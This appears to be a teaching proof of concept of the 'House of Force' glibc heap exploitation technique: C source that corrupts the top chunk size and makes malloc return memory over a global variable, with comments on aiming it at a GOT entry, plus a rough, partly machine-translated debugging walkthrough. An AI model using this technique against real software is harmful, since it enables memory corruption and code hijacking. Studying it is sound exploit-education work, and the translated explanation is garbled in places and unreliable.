Source
1 /* 2 3 This PoC works also with ASLR enabled. 4 It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled. 5 If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 6 ( http://phrack.org/issues/66/10.html ) 7 8 Tested in Ubuntu 14.04, 64bit. 9 10 */ 11 12 13 #include <stdio.h> 14 #include <stdint.h> 15 #include <stdlib.h> 16 #include <string.h> 17 #include <stdint.h> 18 #include <malloc.h> 19 20 char bss_var[] = "This is a string that we want to overwrite."; 21 22 int main(int argc , char* argv[]) 23 { 24 fprintf(stderr, "\nWelcome to the House of Force\n\n"); 25 fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n"); 26 fprintf(stderr, "The top chunk is a special chunk. Is the last in memory " 27 "and is the chunk that will be resized when malloc asks for more space from the os.\n"); 28 29 fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); 30 fprintf(stderr, "Its current value is: %s\n", bss_var); 31 32 33 34 fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n"); 35 intptr_t *p1 = malloc(256); 36 fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2); 37 38 fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n"); 39 int real_size = malloc_usable_size(p1); 40 fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2); 41 42 fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n"); 43 44 //----- VULNERABILITY ---- 45 intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long)); 46 fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); 47 48 fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n"); 49 fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 50 *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; 51 fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long)))); 52 //------------------------ 53 54 fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n" 55 "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n" 56 "overflow) and will then be able to allocate a chunk right over the desired region.\n"); 57 58 /* 59 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): 60 * new_top = old_top + nb 61 * nb = new_top - old_top 62 * req + 2sizeof(long) = new_top - old_top 63 * req = new_top - old_top - 2sizeof(long) 64 * req = dest - 2sizeof(long) - old_top - 2sizeof(long) 65 * req = dest - old_top - 4*sizeof(long) 66 */ 67 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top; 68 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" 69 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); 70 void *new_ptr = malloc(evil_size); 71 fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2); 72 73 void* ctr_chunk = malloc(100); 74 fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n"); 75 fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk); 76 fprintf(stderr, "Now, we can finally overwrite that value:\n"); 77 78 fprintf(stderr, "... old string: %s\n", bss_var); 79 fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n"); 80 strcpy(ctr_chunk, "YEAH!!!"); 81 fprintf(stderr, "... new string: %s\n", bss_var); 82 83 84 // some further discussion: 85 //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n"); 86 //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size " 87 // "and we \nwant to set this result to the address of malloc_got_address-8\n\n"); 88 //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n"); 89 //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n"); 90 //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header )," 91 // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n"); 92 93 //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2); 94 //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address); 95 96 //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n"); 97 }
operation result
First, apply a string of space bss_var
Because it is a global variable, stored in the bss section
And then apply for a 256-byte heap p1
At this point there are two stacks, p1 just the application, and the rest of the top chunk
At this point you can see the top chunk size is 0x20ef0
Then we will change it to -1
-1 complement form is present in memory 0xffffffffffffffff
Until then apply malloc memory, because the top chunk size is not enough, the expansion will start from the beginning of the top chunk to higher addresses
In debugging, old top chunk start address 0x603110, size 0xffffffffffffffff
bss_adr address 0x602060
To apply for a size of the heap evil_size, the top chunk extended to 0x602050 at plus 0x10 head
0x602060 is the data portion begins, so as to cover the start of bss_adr 0x602060
top_chunk_adr+0x10+evil_size=bss_adr-0x10
0x603110+0x10+evil_size=0x602060-0x10
evil_size=0x602060-0x603110-0x20
Since the 64-bit address arithmetic system 8 bytes
所以evil_size=0xffffffffffffef30
At this point you can see evil_size really is 0xffffffffffffef30
After the application has three stacks
The first is p1, the second is just the size of the application heap evil_size
top_chunk extended to 0x602050 at
At this time, to apply the heap, i.e. assigned to 0x602050 at
At this point we apply for a 100-byte heap
Alignment byte is 0x71 as the size, this would cover a string heap at 0x602060
往这个堆输入内容即可覆盖原本字符串内容